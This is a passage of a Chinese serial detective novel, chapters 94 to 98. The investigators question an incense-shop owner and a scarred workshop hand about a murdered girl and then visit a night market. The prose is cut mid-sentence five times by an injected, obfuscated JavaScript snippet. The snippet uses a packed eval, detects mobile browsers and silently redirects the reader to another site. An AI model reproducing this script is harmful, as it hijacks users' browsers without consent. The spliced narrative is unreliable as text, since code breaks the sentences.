题。”凌风拍胸脯答应,随后神秘兮兮地问:“你们一个个好似都不怕的样子,难道……你们是朝廷派下来暗地调查这案子的?” “噗……”珊瑚正在喝茶,听了他的话差点一口喷了出来。 姜小四生怕溅到自己身上,嫌弃地朝旁边移了移。 冷萤不动声色答道:“当然不是。” 她当然不是,所以她来替方骅回答。以方骅的性格,让他撒个谎难如登天,不如她直接止了话头,以免对方再问。 凌风这才点点头,一双眼在他们四人身上扫了扫,除了珊瑚略显不自在地动了动,另外几个全都眼观鼻,鼻观心地认真吃菜。 “这样啊……”他可惜道:“我还以为自己认识了京里来的大官呢。” 冷萤拿起茶杯喝了口茶:“京城的大官一般有人抬轿,我们可是靠双脚走过来的。” “好吧,那是在下误会了。”他这时,似乎才彻底打消心中的疑虑,张罗着大家:“吃菜吃菜,不知几位用完饭后准备去哪里逛逛,不如一起?” 珊瑚眉头一皱:“你好黏人啊,是怕孤单吗?” “当然不是。”凌风即刻反驳:“我可是云游商人!” “云游商人都像你这般黏人吗?”她说了一句还觉得不够,继续吐槽:“一点特立独行的风骨都没有了。” 珊瑚用两句话,将凌风的脸差点气歪、 他自然,便也歇了想跟着几人一同闲逛的心思。 第九十四章 一寸沉香一寸金 日跌,栈香铺。 几人运气还算好,一来就碰见铺子刚开门。 伙计们正将香材往门口搬,导致栈香铺内一直有人进进出出。 见店家在忙,他们几人也不着急,站在离铺子不远处,一边谈天一边看伙计忙忙碌碌。 姜小四瞧得尤为起劲。 他老远瞧见伙计拿出一段段形状奇怪的木头,眼睛倏地就变直了,仿佛是见着什么奇珍异宝一样。 “小四儿。”珊瑚叫他:“你对着那几块破木头,到底在兴奋个啥劲啊?” 姜小四抽空瞧了她一眼,随即将目光转了回去,同时手臂随意一挥。 (才不是破木头!这可是上好的沉香木,一寸沉香一寸金。麻烦你不要乱讲!) 珊瑚听不懂他说的,但为了气他,她摇头晃脑地重复道:“是是是……一寸沉香一寸金,你说啥都对。” 方骅懒得与这两个傻子同路,与冷萤说了声,率先走进了栈香铺。 被姜小四这样一介绍,冷萤顿时也对那几根木头来了兴趣。 她蹲下身,与他一同观赏摆在铺子外的那些形状怪异沉黄色的木头。 她拿起其中一段闻了闻,好奇地问道:“沉香粉就是用这种木头研磨制成的吗?”她还从未见过变成粉末前的沉香木。 姜小四见她感兴趣,宝贝似的从自己包里拿出一个锡盒,然后从锡盒里拿出一小包绸缎,慢慢打开捧到冷萤鼻前。 绸缎里包着一些沉黄色的粉末。 冷萤心想:若她此时打个喷嚏,姜小四会不会直接与她翻脸? 避免发生这种情况,她忙顺着他的手嗅了嗅,便轻轻推了回去。 片刻,一股甜乳香钻入她的鼻腔,随之而来的是甜苦混杂的清醇气息慢慢萦绕至鼻间。 直到姜小四细心地将那方绸缎收好,那具有穿透力的奇特香味,似乎还留在她的鼻腔。 (摊主的沉香壶,不能入药;我的沉香,可以。) 在为冷萤介绍完后,姜小四脸上难得露出一丝得意之色。 “果然,与平常所用沉香气味很是不同。”冷萤表现得很是惊奇,是真心但也略带一些夸张。 她并不想因为自己哪怕一点别样的举动,便磨灭了姜小四对香道的兴趣。 (当然。) 两人正聊着,一位中年男子走了出来。见他们对自己展出的沉香木感兴趣,冷漠一句:“不卖。” 冷萤这才发觉,方骅与珊瑚都已进入栈香铺。 两人急忙走进去,方才聊得太忘形,让他们等得太久了。 刚一进门,两人便瞧见…… 在满室满墙的香材中坐着一个人,正用双手推着青石碾子碾磨香材。 他手边放着各种香材,时不时就拿起往碾子里放一点,动作自然又熟练。 伙计的脚下,还堆着好几种螺贝。 冷萤不懂,上前礼貌问询:“小哥请问,这螺贝是作何用处?” 伙计头也未抬,回了句:“做‘婴香’之材。客官如要买香材请找宁掌柜。” “多谢小哥!” 冷萤道完谢,回头问姜小四:“婴香是什么香?” 结果,就连他也是一副未曾听过的样子。 几人在栈香铺参观了一会儿,便发现方才门口遇见的中年男人,一直站在柜头后盯着他们看,想来应该是这家铺子的掌柜的。 走上前,冷萤礼貌问道:“请问,您是宁掌柜吗?” “对,几位来买香材?”中年男子一边回答,一边上下打量着他们几人。 毕竟对方家中才出事,冷萤实在不知该如何开口比较好。就在她斟酌用词时,身后的方骅说话了:“请问,宁掌柜侄女出事的地点在哪处?” 冷萤眼见着对方的脸色沉了下来,她正准备打个圆场,让对方骂得不至于那么难听。 谁知对方脸色难看归难看,但还是冷声回道:“你们是怎么知道的?” “引香坊的陆掌柜告诉我们的。”方骅可一点没客气,该得罪的人、该出卖的人,他一个也没拉下。 够了…… 冷萤颇有些无语地给他使眼色。 他们一起查案的日子也不算短了,他究竟预备结下多少梁子?她都怕自己走不到京城就被报复了。 “又是她!”宁掌柜轻拍一下桌,很是愤怒道:“她怕得紧,非要白日将她那破店面开着不说,还闹着要来买香材。若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547086|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是为了赚她那仨瓜俩枣,我至于每日这么早来开门吗? 看来,对方比较气的是这件事。那他们可以放心继续打听了。 冷萤也不再铺垫,直接问道:“请问您的侄女是在家中遇害的吗?” 她话音刚落,见方骅递给她一个眼神,仿佛是在说:你好像也没有比较委婉。 冷萤更气了。 看……他明明知道自己的问题。 本想与他争论几句,想想算了,正事要紧! 宁掌柜听罢,更生气了:“她到底都对你们说了什么?” 冷萤小心翼翼解释:“陆掌柜也是害怕。” 她这话一出,原本怒气冲冲的男人,瞬间泄了气:“是啊,这事换谁谁不怕 。好好的一个小镇,因为这个恶魔的出现,现在几家都过不好了。” “节哀……” 男人放下记账的笔,慢慢表情有了一丝悔意:“此事怪我。其实我真不愿再提起这事,只是……我那侄女死得实在太惨了。” 几人有些听不懂了。 不是他二弟的女儿吗?他为何又要自揽责任? “宁掌柜为何要自责?”方骅打量着对方,总觉得似乎还有别的事发生。 宁掌柜从里面走出,将几人引到一旁坐下,自己则懊悔地抱起头,与方才冷漠以对的模样判若两人。 见他很是伤心,几人都未敢出声,默默坐在不知该如何安慰。 待对方情绪稍微平复一些后,冷萤才小心猜测道:“您侄女的死,难道与您有关系?” 宁掌柜眼眶渐红,慢慢点了点头。 “往常……我都是派阿诚去拣香坊送香材。如果不是那日铺子里忙不过来,我也不会叫幺儿帮忙去送,后面她也就不会失踪。都是我的错……” 冷萤忙问:“拣香坊是什么地方?” 宁掌柜答道:“是沉水镇里制作线香与环香的作坊。我铺子小平日里不好操作,每回都是将香材送过去加工好,再取回来售卖。” “既然人是去了拣香坊后不见的,事发后有去找过他们吗?”方骅问道。 “早去闹过了,结果对方说幺儿送了香材后便直接离开了,我们还能怎样?” 第九十五章 轻纱薄雾 日暮,拣香坊。 薄雾如纱,轻笼院落。 天色渐渐沉下,整座小镇如水墨画一般,被轻柔染开。 虽然宁掌柜说宁幺儿送完香材后便离开了拣香坊,但他们还是选择过来瞧一瞧。 向对方问到拣香坊所在位置后,几人便马不停蹄地寻了过来。 他们动作虽不慢,但走到时天色还是变暗了些。 待一行人行至拣香坊外院时,便下意识停住了脚步,生怕惊扰到眼前的轻纱薄雾。 珊瑚甚至没忍住发出一声轻叹。 几个放眼看去,一条条雾紫色轻纱铺满整个作坊上空。如梦似幻,仿若给此时灰蒙蒙的天空披上了云霞。 坊内这样的操作,想来是为了防止落雾时,潮湿了院内晾晒的线香与环香。 整个作坊内香气氤氲,让刚走进的几人闻着心神格外宁静。 只是…… 冷萤有些煞风景地想着,这里面光线太过昏暗,感觉总透着一股子诡异的气息。而且……这轻纱后,好似藏着一些什么可怕的东西。 几人慢步往里面走时,还时不时有几缕轻纱不小心垂挂到他们眼前,随风轻舞。 如果不仔细瞧,还以为是有鬼魂藏在纱后朝他们低语呢。 “这么大个作坊,里面居然没人?”珊瑚率先打破这一院寂静。 这也是冷萤与方骅觉着奇怪之处。 这么多香品敞着放在这里,居然未留一个人看守,难道就不怕被人一扫而空吗? 只有姜小四,自从进了拣香坊,便一直站在原地未动。 冷萤察觉到他的不对劲,转身无声询问。 却见姜小四眼神盯着院内其中一条垂落的轻纱,表情明显有些僵住了。 “你怎么了?”她低声问道。 就在她开口的一刹,姜小四白色的瞳仁瞬间扩张。 冷萤顿感不对,猛地回头朝姜小四一直盯着的那处看去…… 方骅与珊瑚停在了原地不敢再走动,所有人的目光此刻全聚向了一处。 甜苦的木质香气,夹杂着湿润泥土的腥气,不间歇地钻进在场每个人的鼻腔里。却再也无法抚平他们骤然而起的紧张情绪。 冷萤朝珊瑚做了个动作,珊瑚立刻便明白了她的意思。 一根弦丝,如透明的游蛇,蜿蜒穿过一条条垂落的轻纱,随后昂扬着姿态停在了其中一缕轻纱前蓄势待发。 映在轻纱上的轮廓,不知是不是察觉到了什么,侧身微移。 珊瑚见状,正欲行动,被方骅伸手阻止。 此时情况她不好发作,只得以眼神询问:你又在发什么疯? 方骅未理会即将炸毛的她,而是一步一步往那时不时轻掀起一角的轻纱走去。 习武之人走路无声,在慢慢暗下的天色里,身着墨色衣衫的人并不起眼。所以直到方骅行至轻纱前,那影子才有些慌乱地开始移动。 只是一切早已来不及…… 众人只见方骅一把将轻纱扯下,终于让躲在后方的暗影彻底现身。 拖曳的纱尾,飘落在暗影头顶,将对方原本要露出的全貌,遮住了一半。 但所有人,还是看见了那露出的半张脸上遍布的疤痕,和只有不到三尺左右的身高的男人。 他们想象的,轻纱背后那可怕恶魔并未出现。 方才那暗影之所以看起来可怕,只不过是因为轻纱舞动的原因,将纱后的人影拉长变形。 导致他们过度紧张,判断失误。 那人侧着身子,低着头并未看他们。遮住他半边脸的轻纱渐渐滑落到地,冷萤才赫然回神。 他们闯入人家的地盘,扯了人家的东西还一直不说话,着实有些失礼。 于是,她率先走上前道歉:“真是对不住。都怪我们擅自闯入惊扰到了您。请问,您是拣香坊的主人吗?” 男人并未有任何动作,侧着身摇了摇头。 呃…… 对方如此冷漠,她该怎么继续下去? 就在冷萤伤脑筋,外加看见自己同伴杵在原地像三根木头,压根没准备帮自己时。 对方开口说话了…… “你们来干什么?”他发出的声音很怪,就像是有人揪着他的嗓子说话似的。 冷萤不由得吞了吞口水,礼貌道:“我们是想打听一下,宁幺儿五日前傍晚,是不是到过这里?” 此话一出,方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547087|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还侧着身的男人,慢慢将脑袋转向他们。 他的脸上,几乎没有一处完好之地。好似因为被火吻过的原因,有好几处皮肤都结在一起,看起来坑坑洼洼,凹凸不平。 四周气氛本就诡异,冷萤乍一眼看过去,被吓得心脏瞬间紧缩。 她努力不让自己表现得太明显,身体却还是不小心轻颤了下。 为了避免对方发现异样,她干笑一声继续道:“她是我们的朋友,我们实在对……对她的死亡不能接受,所以想来打听一下那日的情况。” 听到她们是宁幺儿的朋友,男人的眼瞳颤了颤,脸上仍没有任何表情。 这下,冷萤是真的没法子了。 她干笑着,将目光转向身边快要石化的男人,小声道 :“你说两句啊,你平日里不是张口就来的么?” “怕你说我……”方骅面无表情道:“说话太直。” 这个靠不住…… 下一个…… “我……我嘴毒啊……”还没等她开口呢,珊瑚直接交了底。 再看了看正出神的姜小四,冷萤决定靠自己。 “呃……呵,宁幺儿生前提起过,说拣香坊这边风景独好。现下一看,果真名不虚传。” 本想着多笑两声,缓解一下尴尬的气氛。奈何对方眼神太锐利,让她一下子止住了笑。 她身边这几个,但凡碰见个会打的,一个个恨不得跑去和对方生死决斗。 结果真需要他们的时候,一个二个躲得像只鹌鹑。 或许是对方眼神太有杀伤力的原因,又或许是四周气氛太过压抑。反正,在面对这个身材矮小的男人时,冷萤总觉得脖颈有些发凉。 “她向你们提过拣香坊?”听着让人刮心的声音,再次响起。 冷萤忙点点头:“提过。” 男人的眼神又开始奇怪了起来。 这让冷萤不免有些心慌,她不过才说了几句话而已,这人就不停拿怪异的目光看向她。 她到底哪里说错了? “她总共就来过一回,当日便失踪被杀,又怎么与你们提起拣香坊的?” 对方这话一出,冷萤恨不得找个地缝钻进去。 第九十六章 撒谎这事儿吧,需要天赋 果然,撒谎这事是需要天赋的。 “因为……”她努力想着说辞。 “因为,栈香铺离此地不远,她应当经常听宁掌柜提起这里,虽没来过,但也算对这里颇为熟知了。” 沉稳的男声,自她身边响起。 冷萤从未有一刻,觉得方骅如此善解人意。 感激地朝对方眨眨眼,她忙接过话:“对,就是这样!” “她真这么说过?”男人的目光,仿佛是想看透他们似的。 为了掩饰心虚,冷萤急忙开口:“当然。你作为这里的主人,自然知道拣香铺有多美,不是吗?” 这里确实美,这点,不算骗人。 “你猜错了,我不是拣香坊的主人。”对方目光闪了闪。 “不是主人,那……” “我是这里的伙计,叫我程平就行。” 见对方终于愿意与他们多说两句,冷萤忙趁热打铁:“程大哥,可否向你打听个事?” 程平原本的姿态,一直是侧站着,歪头自下而上地看向他们。 这时的他,终于愿意转过身面对他们。瞧这个样子,应是答应了他们的请求。 冷萤暗自松了口气。 说句实话,对方一直以那种奇怪又别扭的姿势看着他们,真的有一种说不出的阴森之气。 “请问,那日宁幺儿过来时,大约是什么时辰?”见对方没回话,但也不抗拒,她便直接问道。 程平面无表情答道:“与这会儿差不多时辰。我记得……那日的天气也与今日这般,让人感到有些透不过气。” 记得这么清楚? 怀疑的藤蔓渐渐爬上冷萤心头。 方骅在一旁问起:“她是与人一同过来,还是自己一人?” “就她一人。” “这么大一包香材,她一人拿过来的?”冷萤怎么觉得不大可能。 对方好似并没有意识到有什么不对,淡漠地点了点头。 这不可能,他在骗人! 但此时并不是戳穿他的最佳时刻。 她倒要瞧瞧……这人究竟是为了隐瞒些什么,才要选择说一个如此容易被揭穿的谎。 于是,她继续问道:“如果宁幺儿放下香材便走,那离开时天色应当还未完全暗下。你可有见到她往哪处离开了?” 这个问题,倒是让程平想了好一会儿,才又回道:“她进……南边的胭脂铺了。” “是那边吗?”冷萤举起胳膊,朝另一个方向指去。 对方可有可无地点了点头。 “你见她进了胭脂铺?”方骅紧随其后问道。 这句话明显是试探,但凡对方心里有一点鬼,便会立刻察觉不对。 但奇怪的是,程平并没有。 他极其自然地再次点头,似乎完全没觉察到对方的试探。 “我再问你一遍……”方骅一字一句问道:“你确定,你亲眼见她进了南边的胭脂铺?” 这一次,程平总算是反应过来了。 虽然他布满疤痕的面容没有任何表情,但冷萤还是从他闪动了一瞬的眼瞳里,瞧见了他的紧张。 他咽了下口水,急忙改口:“我没有亲眼瞧见她进去。” “没有亲眼瞧见?”冷萤反问:“可我方才所指方向,不走出拣香坊的院子,根本瞧不清是哪一处。而你却能准确猜出是胭脂铺。怎么,前几日才走过一次?” 男人愣住了…… 须臾,他再次抬头。 用第一次见到他们时,如同鬼魅一般可怕的目光看向他们,哑声问道:“你们诈我?” “你但凡好好回答问题,我们如何诈你?”方骅才不管对方此时的表情有多可怕。 他朝前走了一步,半侧身挡在冷萤身前。 程平虽然没有任何动作,但直直盯着他们的目光里,淬满了冷意。 他方才见对方身体似乎有疾,担心自己直言直语会无意间伤害到他,所以一直忍着不愿说话。 但他们对他尊重,不代表他可以混淆视听,任意欺瞒他们。 谁知,方骅还未来得及乘胜追击,对方倒先发制人了。 “你们,现在是在怀疑我?” 方骅冷静道:“如果你肯说实话,我们怎会怀疑你?” “我与她非亲非故,作何要杀了她?” “如果认为我们冤枉了你,”冷萤开口:“那便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547088|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把那日见到宁幺儿后发生的所有事情,完完整整告诉我们。我们自会判断。” 程平望向方骅,情绪越发激动,他一把扯下身旁垂挂的轻纱,哑声道:“我凭什么告诉你们?” 方骅冷笑一声,随后拿起一旁的线香闻了闻,正准备耍帅丢到地上,看见姜小四在一旁炯炯有神地看着自己。 他尴尬一咳将线香放回原位,才又开口威胁道:“那今日,我们便在拣香坊歇下了。” 见对方瞬间愣住,他拿出难得的好脾气,轻声道:“给你一夜的时间……慢慢想。” “你是在威胁我?”程平立刻回过神来。 方骅看向身旁的冷萤,仿佛在说:看吧!对有些人,太迂回是没用的。 ”我才不要在这里过夜,到处都 黑漆漆的。“一直未出声的珊瑚抗议了:”喂,你快老实交代,我可不想动手把你这里拆了。“ “你拆吧,我又不是店主。”程平听她这样说,整个人反倒冷静下来。 冷萤在一旁观察程平许久,终于发现了一个问题。 他们无论讨论什么,这个叫程平的男子都完全不感兴趣。 但……只要提起宁幺儿,他的目光便会不由自主地看向他们,并认真听他们几人说话。 他和宁幺儿,绝不是非亲非故的关系! 至少……他本人对宁幺儿,并不像他嘴上说得那样毫不关心。 “你之前是在跟踪她吧?为什么?”所以,冷萤决定下剂猛药试试。 瞧着对方心虚的双目,她知道自己猜对了。 “你对宁幺儿有何企图?”她追问。 程平将目光移开,看向拖曳在地上的轻纱,喃喃道:“我这样的人,怎敢对人有别样的企图。麻烦姑娘不要随意乱讲。” 那就是了…… “宁幺儿知道吗?”她继续问。 “我说了,没有任何企图!宁幺儿甚至都不认识我!”程平说这句时,方才心虚的模样消失殆尽。 “她是不认识你……”冷萤貌似听懂了点点头,随即又突然问了句:“但是,你很早就认识她了吧?” 一句话,让原本已经松了口气的程平,陡然抬头看向了她。 第九十七章 你喜欢她吧? 冷萤能感觉到,自己在说完那句话后,男子脸上皱褶的肌肉开始隐隐抖动。 隐忍的情绪,如血丝布满他整个眼眶。 “你……”程平嗓音发声本就艰难,此刻更感觉有什么哽在了他喉间,“我认识她又如何?沉水镇本就不大。” “对啊,这不是一件很正常的事?你为何不敢承认?”冷萤抓住机会反问。 被她言语一激,程平即刻回道:“我有什么不敢承认的。” “那你们认识吗?” 阴沉的目光,直直射向方骅侧后方的冷萤。他想用眼神让对方退步,不要再对他步步紧逼。 慢慢……他感觉那女子好似已生出一点怯意。 就在他以为成功用眼神逼退对方时,站在女子身侧的男人脚步轻移,将她彻底挡在了身后,隔绝了他带有攻击性的视线。 程平将脸偏向一边,无奈开口道:“我认识宁小姐。但宁小姐……确实不认识我。” 他终于承认了。 冷萤站在方骅身后继续问道:“既然她不认识你,你那日又为何会陪她一起去胭脂铺?” “不是陪。” “哦?” 程平认命地闭上眼,半晌后才道:“你猜对了。宁小姐她难得来一次拣香坊,我当时情绪有些激动,便偷偷跟着她去到了胭脂铺。” “跟着她过去,”方骅猜测:“然后等她从胭脂铺出来后,趁着天黑直接杀掉她?” 对方猛然睁开眼:“住口,麻烦你不要乱讲!” “莫名跟踪一名未婚女子,你让我们做何想?”见他恼羞成怒,冷萤自方骅身后走出,与他并肩朝程平问道。 程平低头,眼珠转了一圈,才磕磕巴巴向他们解释:“……我见她一个人过来有些危险,当时的天色已渐渐暗了。我真的,只是想送她一程罢了……” 真只是护送这么简单? 他刚跟踪完宁幺儿,对方没多久便遇了害。这是不是也太巧合了些? 瞧了一眼不愿正视她的程平,冷萤继续问道:“那日宁幺儿去过胭脂铺后,还有没有再去哪里?” 他摇头:“送她进胭脂铺后我便离开了。毕竟……让别人瞧见我一直跟着她,对她不好。” 一种奇异的感觉涌上冷萤心头。 她好似突然明白了什么…… “你……”她问出了自己内心一瞬间突生的想法:“是不是喜欢宁幺儿?” 瞧着对方慌乱逃避的眼神,方才一直以来别扭的对话,和他那些奇怪的在意点,在这一刻完全能说通了。 原来,这个人从头到尾想掩饰的,根本就不是他们想知道的。 冷萤顿时有些无力。 他们都预备动用武力来解决了,结果搞了半日,这人只是在掩饰自己喜欢宁幺儿这件事实? 有没有搞错? “所以你真的只是因为担心,才跟在宁幺儿身后保护她的?”她很是有些无语地问道。 程平侧头点了点。 好!行! “你知道宁幺儿遇害了么?”方骅见冷萤明显已经累了的表情,接过她的话朝程平问道。 下一瞬,程平的表情变得忧伤。 他不知是不愿相信,还是后知后觉,直到这时才朝他们问起:“你们是来查宁小姐死因的吗?” 当然啊,不然咧?来听他的暗恋心事? 冷萤忍着气回答:“对,所以你得把那日见到宁幺儿前后所发生的事情,详细告知我们。” 这一次,程平终于干脆同意。 他一瘸一拐来回走了两步,众人这才发现他腿部似乎也有残疾。 “那日……”才过几日,他记得应该还算清楚,“我正在理院里晾晒的线香,突然一抬头,就瞧见宁小姐走了进来。你们知道吗?我当时心……” 反正他的心思已经被在场的几位剖析的明明白白,他也不怕说出自己的感受了。 但他愿意说,冷萤几人可没精力听。 于是…… “我不想知道,麻烦说重点。”冷萤提醒他。 程平或许是有些孤僻,平时更不会有人与他聊这些,当下被冷萤打断后还有些失望。 不过他也知道孰轻孰重,二话不说找准重点与他们说道:“我没有骗你们,她真的是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547089|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人来的,抱着一大堆香材。我便问她,这么重的东西是怎么拿过来的。” “她怎么说?”冷萤着急催促。 “她说,一位好心公子用马车送了她一程,到拣香坊门口才将她放下。” 方骅问:“看清是什么样的马车了吗?” 程平摇头,继续讲道:“天色昏暗,我没看清。宁小姐将香材送到后,只与我闲谈两句便说要走,我不敢挽留,便问了句她是否准备直接回去。她才告诉我,准备去一趟胭脂铺。” “所以你才决定跟踪……”冷萤正说着见对方脸色一变,才又改口:“护送她过去?” 见她识趣改了口,程平这才轻点头:“我将宁小姐送到胭脂铺后,亲眼见她走了进去。但铺子前人来人往,我怕她出来后瞧见我,到时我上去打招呼,被人瞧见后会有人说她闲话……” “意思是,你并 未亲眼见她走出胭脂铺便离开了,对吗?”方骅想了想,开口问道。 “没错。” 冷萤沉吟:“那就奇怪了……” “哪里奇怪?”方骅问她。 “你们想,”她也不知道自己怀疑的对不对,只好说出来大家一起判断,“一名未婚女子,天色也不早了,她出于保护自己的定不会选择上一个陌生人的马车。” 珊瑚点头:“有道理。那冷姐姐你的意思是说,顺路搭宁幺儿过来的那位公子,其实与她本就相识?” “有可能……”冷萤也不敢确定。 程风皱眉:“可从她的语气中,我并不觉得她与那名公子相识。” 冷萤道:“这就是我觉着奇怪之处。还有……她这么晚一个人去胭脂铺,这两个举动,我都无法理解。” “怎么说?”方骅问。 他对女子的胭脂水粉这类从未研究过,所以只能虚心向对方讨教。 倒是珊瑚。 身为女子,她瞬间懂了冷萤的意思,立刻抢答:“哪有女子夜里去选胭脂的?在昏黄的灯光下,哪能选到心仪的颜色?还有……我选胭脂,可是一定要冷姐姐陪着我的。” 说完,她还格外亲热地挽了下冷萤。 第九十八章 夜市 方骅觉着自己貌似听懂了,但又并未完全明白。 只是瞧着珊瑚亲热挽冷萤的动作,他猜测:“你是说……女孩去买这些时,大多会选择与闺友一起,而不是独自一人?” 珊瑚得意地朝他抬了抬下巴,嘚瑟道:“算你聪明!这些用后能让自己变美的东西,当然要亲近的人一同帮忙参考才可以。” 她这时的表情,仿佛像在直接对方骅讲,在当下她与冷萤的关系才是最亲近的。 懒得同她争这些,方骅偏过头问冷萤:“沉水镇的店家不都会选择入夜才开始做生意,或许是因为这个原因?” “胭脂铺就算夜半会开门,但白日也绝不会不做生意。他们最有可能选择的方式,便是多请几个人,换班轮值。” 冷萤同样也是做生意的人,她还是认为,胭脂铺的店家不会傻到自断生路。 “我要是客人,也不会选择在啥啥也瞧不清时,跑去买什么胭脂呢。”珊瑚赞同冷萤的说法。 方骅这时,才微微颔首后得出结论:“所以那日的宁幺儿,一连串的举动其实都不太正常。” 冷萤同意:“如果不是有非必要做的事,我甚至有些怀疑,那日她去胭脂铺或许是有一定要见的人,而不是单单去买盒胭脂这么简单。” 珊瑚皱眉,很是不能理解:“那她大晚上去胭脂铺,能见谁啊?” 此话一出,所有人的目光全都聚集到程平身上,特别其中还有一双白瞳,让他顿时有些慌张。 “不什么都告诉你们了么,怎么还在怀疑我?”他真的有些气愤了,“你们全都知道我喜欢宁小姐了,那我又怎么可能杀掉自己喜欢的人?” 这几人突然闯进拣香坊不说,一来就对着他叽里咕噜好一顿威胁,他该说不该说的都说了,现下怎的还是不信任他? 见他明显有些生气,冷萤开口安抚:“我们并不是怀疑你。只是,你不是总爱跟着宁幺儿吗?有没有发现,她最近与何人来往比较频繁?” 见对方并不是怀疑自己,程平这才稍稍松懈下来。 但随即,他又觉不对忙更正道:“我并未总跟着她,我也是日日要上工的人,哪会这么无聊,你不要把我说得像个跟踪狂一样。” “好,抱歉,是我口误!那你最近有见过她与谁频繁往来吗?”只要能问到有用的线索,她冷萤能屈能伸。 程平只好细细思索一番,眼皮一抬开口:“我的确看见过一个。” “谁?” “但你们可能见不到她了。”他此时的表情,有一种说出来的怪异。 冷萤问道:“什么意思?” 仿佛早就在等她这么问,程平下一瞬便答:“因为,她也是其中一名受害的女子。” 什么? 方骅最先反应过来,问道:“你是说,与宁幺儿关系比较好的那个人,她也是这次连环杀人案的其中一位受害者?” 程平很确定地点点头。 “那位受害的女子是谁?”冷萤即刻问道。 “沉水镇东边,郝姓农户家的大女儿。”见几人着急,程平忙告诉他们。 …… 冷萤几人从拣香坊走出来时,天色已经完全暗了下来。 他们本想着直接去郝姓农户家的,但瞧着天色已晚,再去打扰人家似乎不太礼貌。 于是几人商量后决定,今夜便先去沉水镇夜市上逛逛,说不准可以在那处发现什么线索。 夜市离他们落脚的客栈不远,几人回到客栈稍作休息后,便一同出发朝那边走去。 几人虽说在沉水镇晃了一整天,但遇见的人,还没有此时在夜市上见到的一家香料摊子上的客人多。 他们刚走到夜市,便彻底被这里热闹的氛围给震慑住了。完全想象不出,白日里那般幽静的小镇,到了夜里简直就是另一番天地。 或许是来得有些迟,等几人到时,集市里的叫卖声与讨价还价之声已响彻沉水镇上空。 一路瞧过来,见有人扛着大包小包,有人拖着牛车、更有甚者赶着一队马车浩浩荡荡地便跑过来交易了。 站在原地望过去,整个夜市全是黑压压的人头。 几人不禁有些疑惑,这些人白日究竟都藏到哪里了。 姜小四本就怕人多的地方,一见这情况,说什么也不愿再往前多走一步。 方骅也不爱热闹,便让珊瑚陪着冷萤去夜市前面瞧瞧。而他则与姜小四去周边巡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547090|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视。 今夜便是案发后第五日,如果凶手犯案是有规律性的,或许今夜便会有未婚女子被凶手盯上。 往往人多之处,那些心怀恶意人的心思,才会更加的肆无忌惮。 方骅已提前安排陈全几人在整个镇子巡逻,只要碰见有不对劲之处,便立即过来朝他汇报。 只是…… 方骅平日里话不多,与姜小四认识也并不深,两人在一起着实没什么可聊的。 姜小四便更不用说了,一路走来他几乎只与冷萤沟通。 现下这两个人突然凑到一起,只剩下了一路无声。 然而,就在两人尴尬沉默时,一道身影突然出现在他们眼前,令他们神经瞬间紧绷。 这人 不是别人,正是他们今日刚见过的引香坊掌柜-陆引。 这时两人倒是默契极了,二话不说便一起跟了上去。结果跟到一半,姜小四又突然停下脚步。 “怎么了?”方骅垂头问他。 (就这样跟上去是不是不太好?) “为何?”方骅不懂他的意思。 (人家是女孩。) “那又怎样?查案的时候不要想那么多,你心思太细腻,这样不行。”方骅一句话,让姜小四瞬间停住了动作。 他似乎有些不甘心,想了一下后还是抬了手。 (我们这次为何要自己查,不找官府?) 黑暗中,一抹月光自方骅头顶洒下。 